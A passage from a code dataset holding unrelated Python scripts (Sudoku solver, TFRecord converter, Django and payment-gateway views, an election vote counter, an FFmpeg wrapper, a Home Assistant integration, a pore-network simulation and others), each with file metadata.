isAnyEmptyCell(arr):\n cell = findEmptyCell(arr)\n if (cell == [-1,-1]):\n return False\n return True\n\ndef checkRow(arr, row, num):\n for j in range(9):\n if (arr[row][j] == num):\n return True\n return False\n\ndef checkCol(arr, col, num):\n for i in range(9):\n if (arr[i][col] == num):\n return True\n return False\n\ndef checkBox(arr, row, col, num):\n for i in range(3):\n for j in range(3):\n if ( arr[row+i][col+j] == num):\n return True\n return False\n\ndef checkCellSafety(arr, row, col, num):\n isRow = checkRow(arr, row, num)\n isCol = checkCol(arr, col, num)\n isBox = checkBox(arr, row - row % 3, col - col % 3, num)\n\n return not isRow and not isCol and not isBox\n\ndef solve(arr):\n if (not isAnyEmptyCell(arr)):\n return True\n\n empRow = findEmptyCell(arr)[0]\n empCol = findEmptyCell(arr)[1]\n\n for num in range(1, 10):\n if (checkCellSafety(arr, empRow, empCol, num)):\n arr[empRow][empCol] = num\n\n if (solve(arr)):\n return True\n\n arr[empRow][empCol] = 0\n \n return False\n\n\n","sub_path":"src/SudokuSolver.py","file_name":"SudokuSolver.py","file_ext":"py","file_size_in_byte":1381,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"602311833","text":"# To change this license header, choose License Headers in Project Properties.\n# To change this template file, choose Tools | Templates\n# and open the template in the editor.\n\n__author__ = \"\"\n__date__ = \"$Mar 28, 2015 11:23:11 AM$\"\n\n#from optparse import OptionParser\nimport collections\nimport sys\nimport os\nimport getopt\nimport tokens\n\ndef main(argv):\n build_dir = \"../build\"\n if(not os.path.exists(build_dir)):\n os.mkdirs(build_dir);\n file = \"\"\n try:\n opts, args = getopt.getopt(argv, \"hf:\", [\"help\", \"file=\"])\n except getopt.GetoptError:\n usage()\n sys.exit(2)\n for opt, arg in opts:\n if opt in (\"-h\", \"--help\"):\n usage()\n sys.exit()\n elif opt in (\"-f\", \"--file\"):\n file = arg\n \n if(not file):\n print(\"file is empty\");\n sys.exit(2);\n print(\"file:\", file);\n sourceCode = tokens.readSourceCode(file)\n if(sourceCode):\n result = tokens.tokenizeSourceCode(sourceCode);\n tokens.writeToFile(build_dir + \"/type_int_table_\" + file, (str(k) + \" \" + str(v) for k, v in tokens.type0.items()))\n tokens.writeToFile(build_dir + \"/type_float_table\" + file, (str(k) + \" \" + str(v) for k, v in tokens.type1.items()))\n tokens.writeToFile(build_dir + \"/type_matrix_table\" + file, (str(k) + \" \" + str(v) for k, v in tokens.type2.items()))\n tokens.writeToFile(build_dir + \"/types_table\" + file, (str(k) + \" \" + str(v) for k, v in tokens.typesTable.items()))\n tokens.writeToFile(build_dir + \"/id_table\" + file, (str(k) + \" \" + str(v) for k, v in tokens.idTable.items()))\n tokens.writeToFile(build_dir + \"/tokenized_\" + file, result)\n else:\n print(\"sourceCode is empty\");\n print(\"end\");\n sys.exit(0)\n \nif __name__ == \"__main__\":\n main(sys.argv[1:])\n","sub_path":"src/compiler.py","file_name":"compiler.py","file_ext":"py","file_size_in_byte":1832,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"324378417","text":"import tensorflow as tf\nimport os\nimport numpy as np\nimport warnings\nimport math\nimport sys\nfrom image_augmentor import image_augmentor\n\n\ndef int64_feature(values):\n if not isinstance(values, (tuple, list)):\n values = [values]\n return tf.train.Feature(bytes_list=tf.train.Int64List(value=values))\n\n\ndef bytes_feature(values):\n if not isinstance(values, (tuple, list)):\n values = [values]\n return tf.train.Feature(bytes_list=tf.train.BytesList(value=values))\n\n\ndef float_feature(values):\n if not isinstance(values, (tuple, list)):\n values = [values]\n return tf.train.Feature(bytes_list=tf.train.FloatList(value=values))\n\n\ndef txt_to_example(full_filepath, full_imagepath, input_shape):\n annotation_yyxxc = np.loadtxt(full_filepath, delimiter=\",\", dtype=np.float32)\n # Annotations are stored in format [y1, y2, x1, x2, class].\n \"\"\"\n # Convert them to\n # [y_center, x_center, height, width, class]\n x_center = (annotation_yyxxc[..., 2] + annotation_yyxxc[..., 3]) / 2\n y_center = (annotation_yyxxc[..., 0] + annotation_yyxxc[..., 1]) / 2\n annotations_centered = np.zeros([1,5], dtype=np.float32)\n annotations_centered[..., 0] = y_center\n annotations_centered[..., 1] = x_center\n annotations_centered[..., 2] = annotation_yyxxc[..., 1] - annotation_yyxxc[..., 0]\n annotations_centered[..., 3] = annotation_yyxxc[..., 3] - annotation_yyxxc[..., 2]\n annotations_centered[..., 4] = annotation_yyxxc[..., 4]\n \"\"\"\n\n image = tf.gfile.GFile(full_imagepath, 'rb').read()\n shape = np.asarray(input_shape, np.int32)\n features = {\n 'image': bytes_feature(image),\n 'shape': bytes_feature(shape.tobytes()),\n 'ground_truth': bytes_feature(annotation_yyxxc.tobytes())\n }\n example = tf.train.Example(features=tf.train.Features(\n feature=features))\n return example\n\n\ndef dataset2tfrecord(txt_dir, img_dir, output_dir, name, image_shape, total_shards=5):\n if not tf.gfile.Exists(output_dir):\n tf.gfile.MakeDirs(output_dir)\n print(output_dir, 'does not exist, create it done')\n else:\n if len(tf.gfile.ListDirectory(output_dir)) == 0:\n print(output_dir, 'already exist, need not create new')\n else:\n warnings.warn(output_dir + ' is not empty!', UserWarning)\n outputfiles = []\n txt_list = tf.gfile.Glob(os.path.join(txt_dir, '*.txt'))\n num_per_shard = int(math.ceil(len(txt_list)) / float(total_shards))\n for shard_id in range(total_shards):\n outputname = '%s_%05d-of-%05d.tfrecord' % (name, shard_id + 1, total_shards)\n outputname = os.path.join(output_dir, outputname)\n outputfiles.append(outputname)\n with tf.python_io.TFRecordWriter(outputname) as tf_writer:\n start_ndx = shard_id * num_per_shard\n end_ndx = min((shard_id + 1) * num_per_shard, len(txt_list))\n for i in range(start_ndx, end_ndx):\n sys.stdout.write('\\r>> Converting image %d/%d shard %d/%d' % (i + 1, len(txt_list), shard_id + 1, total_shards))\n sys.stdout.flush()\n example = txt_to_example(txt_list[i], txt_list[i][:-4], image_shape)\n tf_writer.write(example.SerializeToString())\n sys.stdout.write('\\n')\n sys.stdout.flush()\n return outputfiles\n\n\ndef parse_function(data, config):\n features = tf.parse_single_example(data, features={\n 'image': tf.FixedLenFeature([], tf.string),\n 'shape': tf.FixedLenFeature([], tf.string),\n 'ground_truth': tf.FixedLenFeature([], tf.string)\n })\n shape = tf.decode_raw(features['shape'], tf.int32)\n ground_truth = tf.decode_raw(features['ground_truth'], tf.float32)\n shape = tf.reshape(shape, [3])\n ground_truth = tf.reshape(ground_truth, [-1, 5])\n images = tf.image.decode_jpeg(features['image'], channels=3)\n images = tf.cast(tf.reshape(images, shape), tf.float32)\n images, ground_truth = image_augmentor(image=images, input_shape=shape, ground_truth=ground_truth, **config)\n\n return images, ground_truth\n\n\nif __name__ == \"__main__\":\n # annotations path, image path, save path, tfrecord prefix, shard\n\n tfrecord = dataset2tfrecord('/data/cars/cars_cleaned_224', '/data/cars/cars_cleaned_224', '/data/cars/tfrecords_224_yyxxc', 'train', (224, 224, 3), total_shards=10)\n print(tfrecord)\n\n\n","sub_path":"utils/cars_to_tfrecord.py","file_name":"cars_to_tfrecord.py","file_ext":"py","file_size_in_byte":4367,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"574134395","text":"from django.shortcuts import render,render_to_response\nfrom django.http import HttpResponse,Http404\nfrom .models import Article\n# Create your views here.\n\n\ndef article_detail(request, article_id):\n try:\n article = Article.objects.get(id=article_id)\n except Article.DoesNotExist:\n raise Http404(\"Sorry, the article you are asking is not exist!\")\n context = {}\n context['article_obj'] = article\n return render_to_response(\"Article.html\", context)\n\ndef article_list(request):\n articles = Article.objects.all()\n context = {}\n context['articles'] = articles\n return render_to_response(\"Article_list.html\",context)\n","sub_path":"article/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":650,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"361590031","text":"# -*- coding: utf-8 -*-\n# @Author : itswcg\n# @File : migrations.py\n# @Time : 18-12-26 下午6:36\n# @Blog : https://blog.itswcg.com\n# @github : https://github.com/itswcg\n\nfrom playhouse.migrate import *\n\nfrom app.db import database\n\nmigrator = MySQLMigrator(database)\n\ncover_url = CharField(verbose_name='cover_url', max_length=512, default='')\n\nif __name__ == '__main__':\n migrate(\n migrator.add_column('video', 'cover_url', cover_url)\n )\n","sub_path":"app/db/migrations.py","file_name":"migrations.py","file_ext":"py","file_size_in_byte":463,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"351722731","text":"# In this challenge, you are tasked with helping a small, rural town modernize its vote-counting process. (Up until now, Uncle Cleetus had been trustfully tallying them one-by-one, but unfortunately, his concentration isn't what it used to be.)\n\n# You will be give a set of poll data called election_data.csv. The dataset is composed of three columns: Voter ID, County, and Candidate. Your task is to create a Python script that analyzes the votes and calculates each of the following:\n\n# The total number of votes cast\n\n# A complete list of candidates who received votes\n\n# The percentage of votes each candidate won\n\n# The total number of votes each candidate won\n\n# The winner of the election based on popular vote.\n\n\n\nimport os\nimport csv\n\n# Locate the \"election_data.csv\" and declare it's file path\nelectioncsv = os.path.join(\"U3PyPollBES\",\"election_data.csv\")\n# print(budgetcsv)\n\ntotal_votes = []\ncandidate_name = []\nunique = []\nvote_count = []\n\nwith open(electioncsv, newline=\"\") as csvfile:\n election_data = csv.reader(csvfile, delimiter=\",\")\n header = next(csvfile)\n\n\n for row in election_data:\n total_votes.append(row[0])\n candidate_name.append(row[2])\n\n for x in candidate_name:\n if x not in unique:\n unique.append(x)\n\n# A complete list of candidates who received votes\nprint(unique)\n\n# The total number of votes cast\nvotes = (len(total_votes))\nkhan_count = candidate_name.count(\"Khan\")\ncorrey_count = candidate_name.count(\"Correy\")\nli_count = candidate_name.count(\"Li\")\ntooley_count = candidate_name.count(\"O'Tooley\")\n\n# The percentage of votes each candidate won\nkhan_percent = round(khan_count/votes*100, 3)\nli_percent = round(li_count/votes*100, 3)\ncorrey_percent = round(correy_count/votes*100, 3)\ntooley_percent = round(tooley_count/votes*100, 3)\n\n# The winner of the election based on popular vote.\nwinner = max(khan_count, li_count, correy_count, tooley_count)\nif winner == khan_count:\n winner_name = \"Khan\"\nelif winner == li_count:\n winner_name = \"Li\"\nelif winner == correy_count:\n winner_name = \"Correy\"\nelif winner == tooley_count:\n winner_name = \"O'Tooley\"\n\nelection_results = (\nf\"Election Results\\n\"\nf\"-------------------------------\\n\"\n# The total number of votes each candidate won\nf\"Total Votes: {votes}\\n\"\n\"-------------------------------\\n\"\nf\"Khan: {khan_percent}%, {khan_count} Votes\\n\"\nf\"Correy: {correy_percent}%, {correy_count} Votes\\n\"\nf\"Li: {li_percent}%, {li_count} Votes\\n\"\nf\"O'Tooley: {tooley_percent}%, {tooley_count} Votes\\n\"\nf\"-------------------------------\\n\"\nf\"Winner: {winner_name}\\n\"\nf\"-------------------------------\\n\"\n)\nprint(election_results)\n\ndata_output = os.path.join(\"U3PyPollBES\",\"election_results.txt\")\n\n# export to txt file\nwith open(data_output, \"w\") as textfile:\n textfile.write(election_results)\n","sub_path":"U3PyPollBES/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2814,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"107116971","text":"\n\nimport petl as etl\nimport csv\n\n\nle1 = etl.fromcsv('dataset_definitions.csv')\nt1 = etl.cut(le1,'DS1 Blood Data 2017 icu Coded','DS3A CARDIAC data 2012 to 2016',\n 'DS3B CARDIAC data 2017','DS4A JUL 2012 TO JUN 2015 Carpia database')\n \n\nle2 = etl.fromcsv('variable_definitions.csv')\nt2 = et2.cut(le2,'VAR.DEFINITION','NOTES','DATASET','CLIN.DSET.DESCR',\n 'CLIN.DSET.NAME','PK','PATIENT.ID','DOB','SEX','HEIGHT','WEIGHT',\n 'COMMENT','PK.ORIGIN','EVENT','CLOSEST.DATE','CLOSEST.DATE.EVENT',\n 'HB','HCT','RCC','MCV','RETIC','PRBC','MAJOR.BLEED','ON.PUMP',\n 'CS.URGENCY','DIAGNOSIS','TREATMENT','RAW.DATA')\n\n\nle3 = etl.fromcsv('event_definitions.csv')\nt3 = etl.cut(le3,'HOSP.DISCHARGE','FINAL.PATHOLOGY','POSTOPERATIVE.PATHOLOGY',\n 'PAM.INITIAL.PATHOLOGY','PAM.TREATMENT','PAM.FOLLOW.UP.PATHOLOGY',\n 'PAM.TREATMENT.CURTAIL','PREOPERATIVE.MORTALITY','PREOPERATIVE.PATHOLOGY',\n 'PREOPERATIVE.PRBC','SURGERY','INTRAOPERATIVE.PRBC','POSTOPERATIVE.PRBC',\n 'FINAL.PATHOLOGY','PAM.WAITLIST','PAM.ADMISSION','PAM.TREATMENT',\n 'POSTOPERATIVE.PRBC')\n\n\nmvs=t1.join(t1)\nmvs=t1.join(t2)\nmvs=t1.join(t3) \nvis=mvs.join(le4)\nvis.tocsv('')\nso_1st = etl.fromcsv('')\n","sub_path":"Back End/data_integration.py","file_name":"data_integration.py","file_ext":"py","file_size_in_byte":1287,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"504812773","text":"import re\nimport threading\nfrom subprocess import Popen, PIPE\n\n\nclass FFmpegCLI:\n def __init__(self, ffmpeg_bin='ffmpeg', ffprobe_bin='ffprobe'):\n self.ffmpeg_bin = ffmpeg_bin\n self.ffprobe_bin = ffprobe_bin\n\n def _run_in_thread(self, target, args, callback=None):\n t = threading.Thread(target=target, args=[args, callback])\n t.start()\n\n def _run_cmd(self, proc_args, callback):\n try:\n proc = Popen(proc_args, stdout=PIPE, stderr=PIPE)\n except OSError:\n callback(None, None, None)\n return\n\n proc.wait()\n stdout, strerr = proc.communicate()\n\n if callback:\n callback(proc.returncode, stdout, strerr)\n # outbuff.close()\n\n def is_available(self, callback):\n self.version(lambda code, out, err: callback(code == 0))\n\n def version(self, callback):\n self._run_in_thread(self._run_cmd, [self.ffmpeg_bin, '-version'], callback)\n\n def take_screenshot(self, file, seconds, dest, callback=None, frames=1, quality=1):\n self._run_in_thread(self._run_cmd, [self.ffmpeg_bin,\n '-ss', str(seconds),\n '-i', file,\n '-y',\n '-qscale:v', str(quality),\n '-vframes', str(frames),\n dest\n ], callback)\n\n def get_info(self, file, callback, trim_ffprobe_info=True):\n def _trim_response(code, out, err):\n if trim_ffprobe_info:\n # Match everything after ffrobe verison info\n err = re.match(r\"ffprobe (.|\\n)+(Input(.|\\n)*)\", err, re.MULTILINE).group(2)\n # Logger.info(code)\n # Logger.info(out)\n # Logger.info(err)\n callback(code, out, err)\n\n self._run_in_thread(self._run_cmd, [self.ffprobe_bin,\n '-i', file,\n ], _trim_response)\n","sub_path":"ffmpeg_cli.py","file_name":"ffmpeg_cli.py","file_ext":"py","file_size_in_byte":2143,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"230074144","text":"import matplotlib.pyplot as plt\r\nimport numpy as np\r\nfrom PIL import Image as im\r\nfrom scipy.ndimage import interpolation as inter\r\n\r\n# convert to binary\r\n\r\ndef deskew(image):\r\n img = im.open(image)\r\n wd, ht = img.size\r\n pix = np.array(img.convert('1').getdata(), np.uint8)\r\n bin_img = 1 - (pix.reshape((ht, wd)) / 255.0)\r\n plt.imshow(bin_img, cmap='gray')\r\n plt.savefig('binary.png')\r\n\r\n\r\n def find_score(arr, angle):\r\n data = inter.rotate(arr, angle, reshape=False, order=0)\r\n hist = np.sum(data, axis=1)\r\n score = np.sum((hist[1:] - hist[:-1]) ** 2)\r\n return hist, score\r\n\r\n\r\n delta = 1\r\n limit = 5\r\n angles = np.arange(-limit, limit+delta, delta)\r\n scores = []\r\n for angle in angles:\r\n hist, score = find_score(bin_img, angle)\r\n scores.append(score)\r\n\r\n best_score = max(scores)\r\n best_angle = angles[scores.index(best_score)]\r\n print('Best angle: {}'.format(best_angle))\r\n\r\n # correct skew\r\n data = inter.rotate(img, best_angle, reshape=False, order=0)\r\n img = im.fromarray((data).astype(\"uint8\")).convert(\"RGBA\")\r\n img.save('skew_corrected.png')\r\n return 'skew_corrected.png'\r\n\r\n","sub_path":"deskew.py","file_name":"deskew.py","file_ext":"py","file_size_in_byte":1187,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"611388995","text":"\n\nfrom xai.brain.wordbase.nouns._statesman import _STATESMAN\n\n#calss header\nclass _STATESMEN(_STATESMAN, ):\n\tdef __init__(self,): \n\t\t_STATESMAN.__init__(self)\n\t\tself.name = \"STATESMEN\"\n\t\tself.specie = 'nouns'\n\t\tself.basic = \"statesman\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/nouns/_statesmen.py","file_name":"_statesmen.py","file_ext":"py","file_size_in_byte":257,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"244158826","text":"import os\nimport subprocess\nfrom subprocess import call\n#os.system(\"ls -l\")\n\n#call([\"ls\", \"-l\"])\n#abc = \"leapr.cpp\"\n#call([\"vim\", abc])\n\ndef get_name_of_all_files():\n x = subprocess.check_output(['ls']).split()\n l = []\n for entry in x:\n entry = entry.decode('utf-8')\n l.append(entry) \n return l\n\ndef get_all_dirs():\n l = get_name_of_all_files()\n dirs = []\n for entry in l:\n if '.' not in entry:\n dirs.append(entry)\n return dirs\n \ndef get_all_test_files():\n l = get_name_of_all_files()\n tests = []\n for entry in l:\n if '.test.cpp' in entry:\n tests.append(entry)\n return tests\n\ndef run_test(test):\n my_str = \"g++ -std=c++14 \" + test \n my_str = \"g++ \" + test \n os.system(my_str)\n try: \n output = subprocess.check_output([\"./a.out\"])\n if 'All tests passed' in output.decode('utf-8'):\n return True\n except:\n return False\n \n \n\n\ndef testing_func(failed=[]):\n dirs = get_all_dirs()\n tests = get_all_test_files()\n for test in tests:\n print(\" - \",test )\n if not run_test(test):\n print(\"Oh no! \"+test+\" failed :( \")\n failed.append(test)\n for directory in dirs:\n os.chdir(\"./\"+directory)\n print('Checking',directory)\n failed = testing_func(failed)\n os.chdir(\"../\")\n return failed\n\noutput = testing_func()\nif len(output) == 0:\n print( \"\\n:)\\n\" )\nelse:\n print(\"\\nThe following tests failed: \")\n print(output)\n print( \":(\" )\n\n\n\n\n\n\n","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1549,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"162304325","text":"\"\"\"Support for Hydrawise cloud.\"\"\"\nfrom datetime import timedelta\nimport logging\n\nfrom hydrawiser.core import Hydrawiser\nfrom requests.exceptions import ConnectTimeout, HTTPError\nimport voluptuous as vol\n\nfrom homeassistant.components import persistent_notification\nfrom homeassistant.const import CONF_ACCESS_TOKEN, CONF_SCAN_INTERVAL\nfrom homeassistant.core import HomeAssistant, callback\nimport homeassistant.helpers.config_validation as cv\nfrom homeassistant.helpers.dispatcher import async_dispatcher_connect, dispatcher_send\nfrom homeassistant.helpers.entity import Entity, EntityDescription\nfrom homeassistant.helpers.event import track_time_interval\nfrom homeassistant.helpers.typing import ConfigType\n\n_LOGGER = logging.getLogger(__name__)\n\nALLOWED_WATERING_TIME = [5, 10, 15, 30, 45, 60]\n\nCONF_WATERING_TIME = \"watering_minutes\"\n\nNOTIFICATION_ID = \"hydrawise_notification\"\nNOTIFICATION_TITLE = \"Hydrawise Setup\"\n\nDATA_HYDRAWISE = \"hydrawise\"\nDOMAIN = \"hydrawise\"\nDEFAULT_WATERING_TIME = 15\n\nSCAN_INTERVAL = timedelta(seconds=120)\n\nSIGNAL_UPDATE_HYDRAWISE = \"hydrawise_update\"\n\nCONFIG_SCHEMA = vol.Schema(\n {\n DOMAIN: vol.Schema(\n {\n vol.Required(CONF_ACCESS_TOKEN): cv.string,\n vol.Optional(CONF_SCAN_INTERVAL, default=SCAN_INTERVAL): cv.time_period,\n }\n )\n },\n extra=vol.ALLOW_EXTRA,\n)\n\n\ndef setup(hass: HomeAssistant, config: ConfigType) -> bool:\n \"\"\"Set up the Hunter Hydrawise component.\"\"\"\n conf = config[DOMAIN]\n access_token = conf[CONF_ACCESS_TOKEN]\n scan_interval = conf.get(CONF_SCAN_INTERVAL)\n\n try:\n hydrawise = Hydrawiser(user_token=access_token)\n hass.data[DATA_HYDRAWISE] = HydrawiseHub(hydrawise)\n except (ConnectTimeout, HTTPError) as ex:\n _LOGGER.error(\"Unable to connect to Hydrawise cloud service: %s\", str(ex))\n persistent_notification.create(\n hass,\n f\"Error: {ex}
You will need to restart hass after fixing.\",\n title=NOTIFICATION_TITLE,\n notification_id=NOTIFICATION_ID,\n )\n return False\n\n def hub_refresh(event_time):\n \"\"\"Call Hydrawise hub to refresh information.\"\"\"\n _LOGGER.debug(\"Updating Hydrawise Hub component\")\n hass.data[DATA_HYDRAWISE].data.update_controller_info()\n dispatcher_send(hass, SIGNAL_UPDATE_HYDRAWISE)\n\n # Call the Hydrawise API to refresh updates\n track_time_interval(hass, hub_refresh, scan_interval)\n\n return True\n\n\nclass HydrawiseHub:\n \"\"\"Representation of a base Hydrawise device.\"\"\"\n\n def __init__(self, data):\n \"\"\"Initialize the entity.\"\"\"\n self.data = data\n\n\nclass HydrawiseEntity(Entity):\n \"\"\"Entity class for Hydrawise devices.\"\"\"\n\n _attr_attribution = \"Data provided by hydrawise.com\"\n\n def __init__(self, data, description: EntityDescription) -> None:\n \"\"\"Initialize the Hydrawise entity.\"\"\"\n self.entity_description = description\n self.data = data\n self._attr_name = f\"{self.data['name']} {description.name}\"\n\n async def async_added_to_hass(self):\n \"\"\"Register callbacks.\"\"\"\n self.async_on_remove(\n async_dispatcher_connect(\n self.hass, SIGNAL_UPDATE_HYDRAWISE, self._update_callback\n )\n )\n\n @callback\n def _update_callback(self):\n \"\"\"Call update method.\"\"\"\n self.async_schedule_update_ha_state(True)\n\n @property\n def extra_state_attributes(self):\n \"\"\"Return the state attributes.\"\"\"\n return {\"identifier\": self.data.get(\"relay\")}\n","sub_path":"homeassistant/components/hydrawise/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":3582,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"181693264","text":"from django.shortcuts import render\nfrom django.shortcuts import redirect\nfrom django.http import HttpResponse\nfrom zeep import Client\n\nfrom .models import PurchaseHistory\nfrom .forms import ZarinpalForm\nfrom zarinpal.settings import ZARINPAL_MERCHANT_ID as MERCHANT\n\nclient = Client('https://www.zarinpal.com/pg/services/WebGate/wsdl')\n\ndef send_request(request):\n form = ZarinpalForm(request.POST or None)\n if form.is_valid():\n amount = form.data['amount']\n if amount != None and len(amount)>0 :\n if int(amount)<2000 :\n return HttpResponse('The minimum charge should be 2000 TOMAN')\n\n description = \"شارژ کیف پول\"\n email = form.data['email']\n mobile = form.data['phone']\n domain = request.get_host()\n CallbackURL = domain +'/api/zarinpal/verify/'\n result = client.service.PaymentRequest(MERCHANT, amount, description, email, mobile, CallbackURL)\n if result.Status == 100:\n instance = PurchaseHistory(name=form.data['name'] , phone=mobile , email=email , price=amount , Authority=result.Authority)\n instance.save()\n return redirect('https://www.zarinpal.com/pg/StartPay/' + str(result.Authority))\n else:\n return HttpResponse('Error code: ' + str(result.Status))\n else:\n return HttpResponse('Invalid input value')\n context = {'form' : form}\n return render(request , 'send_request.html' , context)\n\n\ndef verify(request):\n if request.GET.get('Status') == 'OK':\n autho = request.GET.get('Authority')\n try:\n obj = PurchaseHistory.objects.get(Authority=autho)\n except:\n return HttpResponse('Invalid Authority Code')\n amount = obj.price\n result = client.service.PaymentVerification(MERCHANT, request.GET['Authority'], amount)\n obj.Status = result.Status\n obj.RefID = result.RefID\n obj.save()\n if result.Status == 100:\n obj.is_paid = True\n obj.save()\n return HttpResponse('Transaction success. RefID: ' + str(result.RefID))\n elif result.Status == 101:\n return HttpResponse('Transaction submitted')\n else:\n return HttpResponse('Transaction failed . error code : ' + str(result.Status))\n else:\n return HttpResponse('Transaction failed or canceled by user')\n\n\n\n","sub_path":"wallet/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2446,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"179746768","text":"#\n# @lc app=leetcode.cn id=51 lang=python3\n#\n# [51] N皇后\n#\n\n# @lc code=start\nclass Solution:\n def solveNQueens(self, n: int) -> List[List[str]]:\n self.result = []\n self.left = set()\n self.right = set()\n self.col = set()\n\n self.dfs(0, n, [])\n self._generate_result(n)\n return self.res\n\n def dfs(self, row, n, cur_state):\n if row >= n:\n self.result.append(cur_state)\n return \n\n for col in range(n):\n # Terminator\n if col in self.col or row + col in self.right or row - col in self.left:\n # queen died\n continue\n\n # Process current logic\n # place a queen here\n self.col.add(col)\n self.right.add(row + col)\n self.left.add(row - col)\n\n self.dfs(row + 1, n, cur_state + [col])\n\n # Reverse the state\n self.col.remove(col)\n self.right.remove(row + col)\n self.left.remove(row - col)\n\n def _generate_result(self, n):\n self.res = []\n for board in self.result:\n tmp = []\n for col in board:\n tmp.append('.' * col + 'Q' + '.' * (n - col - 1))\n self.res.append(tmp)\n\n\n\n\n# @lc code=end\n\n","sub_path":"Week_03/实战题目/51.n皇后.py","file_name":"51.n皇后.py","file_ext":"py","file_size_in_byte":1292,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"241488076","text":"import ioHelper\nimport userHelper\nimport os\nfrom typing import *\n\n\ndef create_dict(name:str) -> Dict[str, int]:\n r\"\"\" create dict\n\n inputs: path\n -**path**: path of file\n\n outputs: data\n -**data**: a dictionary given the str retrun the index\n\n \"\"\"\n\n holder = {}\n path = os.getcwd()\n vocab = ioHelper.read(path + '/Data/vocab.txt')\n sound = ioHelper.read(path + name)\n for key, value in zip(vocab, sound):\n split_list = value.split(' ')\n if len(split_list) > 1:\n holder[key] = int(split_list[0])\n else:\n holder[key] = int(value)\n return holder\n\n\ndef create_vowel_dict() -> Dict[str, int]:\n r\"\"\" create vowel dict\n\n inputs: None\n\n outputs: vowel\n -**vowel**: a dictionary given the str retrun the vowel\n\n \"\"\"\n return create_dict('/Data/vowel.txt')\n\n\ndef create_tone_dict() -> Dict[str, int]:\n r\"\"\" create tone dict\n\n inputs: None\n\n outputs: tone\n -**tone**: a dictionary given the str retrun the tone\n\n \"\"\"\n\n return create_dict('/Data/tone.txt')\n\n\n# def main():\n# a = create_tone_dict()\n# return 0\n#\n#\n# if __name__ == \"__main__\":\n# main()\n","sub_path":"without1/toneVowelHelper.py","file_name":"toneVowelHelper.py","file_ext":"py","file_size_in_byte":1181,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"264881721","text":"import openpnm as op\nimport numpy as np\nws = op.Workspace()\nproj = ws.new_project()\n# ws.settings['loglevel'] = 20\n\n\n# network, geometry, phase\nnp.random.seed(0)\n\nnet = op.network.Cubic(shape=[33, 33, 1], spacing=9e-4, project=proj)\nprs = (net['pore.back'] * net['pore.right'] + net['pore.back']\n * net['pore.left'] + net['pore.front'] * net['pore.right']\n + net['pore.front'] * net['pore.left'])\nthrts = net['throat.surface']\nop.topotools.trim(network=net, pores=net.Ps[prs], throats=net.Ts[thrts])\n\n\ngeo = op.geometry.StickAndBall(network=net, pores=net.Ps, throats=net.Ts)\npore_d = op.models.misc.constant\nthroat_d = op.models.misc.constant\ngeo.add_model(propname='pore.diameter', model=pore_d, value=1.5e-4)\ngeo.add_model(propname='throat.diameter', model=throat_d, value=1e-4)\ngeo.regenerate_models()\n\nwater = op.phases.Water(network=net)\n\n\n# physics\nphys = op.physics.GenericPhysics(network=net, phase=water, geometry=geo)\n\nflow = op.models.physics.hydraulic_conductance.hagen_poiseuille\nphys.add_model(propname='throat.hydraulic_conductance',\n pore_viscosity='pore.viscosity',\n throat_viscosity='throat.viscosity',\n model=flow, regen_mode='normal')\n\n# algorithms\nsf = op.algorithms.StokesFlow(network=net, phase=water)\nsf.set_value_BC(pores=net.pores('back'), values=0.01)\nsf.set_value_BC(pores=net.pores('front'), values=0.00)\nsf.settings['rxn_tolerance'] = 1e-12\nsf.run()\nwater.update(sf.results())\n\ndif = op.models.physics.diffusive_conductance.ordinary_diffusion\nphys.add_model(propname='throat.diffusive_conductance', model=dif,\n regen_mode='normal')\n\nad_dif = op.models.physics.ad_dif_conductance.ad_dif\nphys.add_model(propname='throat.ad_dif_conductance',\n model=ad_dif, regen_mode='normal')\n# set source term\nlinear = op.models.physics.generic_source_term.linear\nphys['pore.A1'] = -1e-15\nphys['pore.A2'] = 0.0\nphys.add_model(propname='pore.rxn', model=linear, X='pore.concentration',\n A1='pore.A1', A2='pore.A2')\nrxn_pores = np.array([200])\nnet.set_label('rxn', pores=rxn_pores)\n\nad = op.algorithms.TransientAdvectionDiffusion(network=net, phase=water)\nad.set_source(propname='pore.rxn', pores=rxn_pores)\nad.set_value_BC(pores=net.pores('back'), values=100)\nad.set_value_BC(pores=net.pores('front'), values=90)\nad.set_IC(90)\nad.settings['solver_tol'] = 1e-12\nad.settings['t_output'] = 1000\nad.settings['t_step'] = 500\nad.settings['t_final'] = 100000\n# change 'steady' to 'implicit' or 'cranknicolson' for transient simulations\nad.settings['t_scheme'] = 'steady'\nad.run()\n\nwater.update(ad.results())\n\n# output results\n# proj.export_data(phases=[water], filename='OUT', filetype='xdmf')\n","sub_path":"scripts/example_transient_AD.py","file_name":"example_transient_AD.py","file_ext":"py","file_size_in_byte":2696,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} 